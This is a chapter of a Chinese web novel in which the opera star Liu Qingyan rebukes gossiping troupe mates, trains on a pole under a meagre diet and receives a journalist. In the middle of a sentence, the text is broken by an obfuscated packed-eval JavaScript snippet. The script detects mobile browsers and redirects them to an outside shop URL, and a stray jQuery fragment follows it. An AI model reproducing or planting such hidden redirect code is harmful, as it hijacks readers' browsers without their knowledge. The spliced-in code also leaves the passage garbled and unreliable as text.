回了帅府,柳清晏就招呼穗儿,把没备份的东西都带上,回班子里去。
穗儿小心翼翼道:
“柳老板,你和少帅吵架啦?”
柳清晏摆摆手:
“想哪儿去了!洛神又不是我一个人的独角戏,要回去让他们跟着我练啊!我踩跷上钢索,这个他们练不了,平地齐整地走个鹤步云步总行吧?他们要是配合不好,光我一个人出彩有什么用!”
说着,他顿了顿,小声又道:
“所以说,东西别带太多,说不准我什么时候还过来住呢,搬来搬去的麻烦。”
穗儿眉头一松,又有点嫌弃地撇撇嘴:
“你就作吧,小心两边都讨不到好!”
听到这话,柳清晏假装没听见,把脸往过一偏,不做声了。
厉戎不在府里,但还是安排了带枪的卫兵和柳清晏一道回去,让他们和帅府里的卫兵轮换,多少看顾一些。
那把掌心雷,也被柳清晏妥帖地收在暗袋里。
柳清晏慢慢一路散回戏班子在的大院儿,隔着门就听见七师兄的大嗓门儿:
“啧,列位说说,柳老板这是攀上高枝儿,转脸把咱们忘脑后头去了!”
跟着有人应和:
“可不是?原来三贞九烈的,还真当自己是个什么硬骨头?见了少帅,不也软了?”
另外传来一阵窃笑:
“就少帅那架势……说不定他都软成水了呢!”
眼见这闲话就往下三路去,穗儿听得两眼通红,把包袱一扔,袖子一撸就想冲进去干架,被柳清晏一把拦住了。
他捂着穗儿的嘴,微微一笑:
“嘘——这种事都要让你替我出头,那我才是真囊膪。”
说罢,他提起衣摆,后退半步,一脚踹开了院门!
“说什么这么开心啊?让我也听听呢!”
院中猥琐的笑声戛然而止。
柳清晏慢慢踱步进去,脸上带笑:
“说我攀高枝?那是我攀上去的么?我不是被吊上去的么?怎么,这是见我没被吊死,你们不乐意了?就这么见不得我活?”
七师兄连忙赔笑:“没没没,我们就是说两句酸话,其实、其实没那个意思。”
柳清晏没感情地笑了一声,又往前走了两步,盯着一个人的眼睛:
“你说我软?软成水了?呵,我软不软,你倒是知道了?”
话音未落,他一记鞭腿扫了过去,重重抽在那人的脸上!
那人被抽得转着圈地摔了出去,七荤八素间,又被柳清晏拎着领子提起来:
“我练的是软功夫,长得是硬骨头,你既然忘了,我就让你回想回想!”
说着,他将人往地下重重一掷,起身拍了拍手,看了一圈周围的人,朗声说:
“从明儿起,咱们班子里排洛神,都忖度忖度,自己能不能上——至于刚才那几个嚼舌根子的,就歇着好好捋捋舌头,捋顺了再上台吧。”
——至于什么时候算是“捋顺了”,那就是他说了算。
掸了掸衣摆上沾的灰,柳清晏再度扫视一遍众人,一招手:“穗儿,回屋。一会儿把杆子架起来,我再走两趟。”
想了想,他又叹一口气:“可惜北方不生毛竹,不然用长的毛竹练也行,那个也韧也弹。据说闽南那边还有练一竹渡江的呢。”
赵智尧就算要来,柳清晏也不可能见天儿什么事儿都不干地等他,自然还是该吃饭吃饭,该练功练功。
踩跷上杆要想练得轻盈,那就不能重,但人也不能靠饿瘦了,要是一把骨头,在杆子上根本站不住。
是以,练的时候,不能吃肥油,要少吃米面,多吃些豆腐、鸡蛋,略配点香油、酱油,再加些绿叶子菜,偶然吃些鱼虾等物,忌口颇多。
歇息的时候柳清晏就恨得慌——他和赵智尧约什么喝茶?本来这段时间肚子里就没什么油水,餐餐都有定量,茶水还是刮油的,两壶茶喝下去,自己不得饿死?
他现在就馋死了红烧肘子、红焖羊肉、酥炸鱼崽、卤猪蹄、烧鸭子、酥皮绿豆糕、驴打滚、黄豆酥!
可晚饭只有鸡蛋羹和杏仁拌菠菜,配一小个蒸土豆!
好吧,鸡蛋羹上洒了葱花,加了酱油和香油,是很好吃;用来拌菠菜的甜杏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576508|205017||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仁也难买;土豆蒸糯了,沾着孜然盐吃同样香得很。
可这些都不是肉啊!
他想吃肉!
柳清晏决定,若是成功应付了赵智尧,他就买一只烧鸭回来,奖励自己吃两只鸭翅膀!
至于剩下的……就让穗儿他们分了吧!
……只是不要在他眼前吃!
柳清晏又跟着板眼完成了一次高难度的杆上旋身,“哒”的一声单脚落杆,呈飞燕式。若他穿着戏服,这一幕定然恍若飞天。
收势之时,一阵掌声响起:
“柳先生好功夫!听您说排的是《洛神》,赵某不才,想请先生给我留一张票,不然,我怕是抢不到啊!”
赵智尧不紧不慢地走了进来,脸上带着笑,眼睛里满是欣赏。
他身后跟着个长随,手里拎着大包小包的礼物。
柳清晏擦了擦额上的汗,笑道:“失礼了,赵记者稍坐,我换了衣服再过来和你说话。”
赵智尧一摊手:“柳先生请便,是我来的不巧了。”
柳清晏随意地摆摆手:
“没什么巧不巧的,您来了就是最巧的。穗儿,请赵记者去厢房里坐,拿金骏眉来招待,我先去收拾一番。”
说罢,他笑着睨了赵智尧一眼,悠悠然回了房间。
赵智尧盯着他蹁跹的背影消失在门后,不由自主地笑了一下。
柳清晏换下汗湿了的衣裳,拧了湿帕子擦了擦身上的余汗,想了想,从箱子里翻出一件细棉布的鹅黄色长衫,用贝母磨的扣子,衣摆上绣了细细的迎春花。
换季的时候,沈先生按着府里份例给他也做了衣服,这件就是其中之一。
很符合他的身份,当常服穿,价格不贵,但是很用心。
这个颜色显嫩,他本来就显小,穿着和十五六岁的小孩儿似的——或许在沈先生眼里他就是小孩儿——所以他一直没穿。
不过,今日,他要的就是让人把他当小孩儿。
稚气好不好,要看用在什么时候。
这时候用,可太好了。
他对着镜子里的自己,露出一个乖巧的微笑。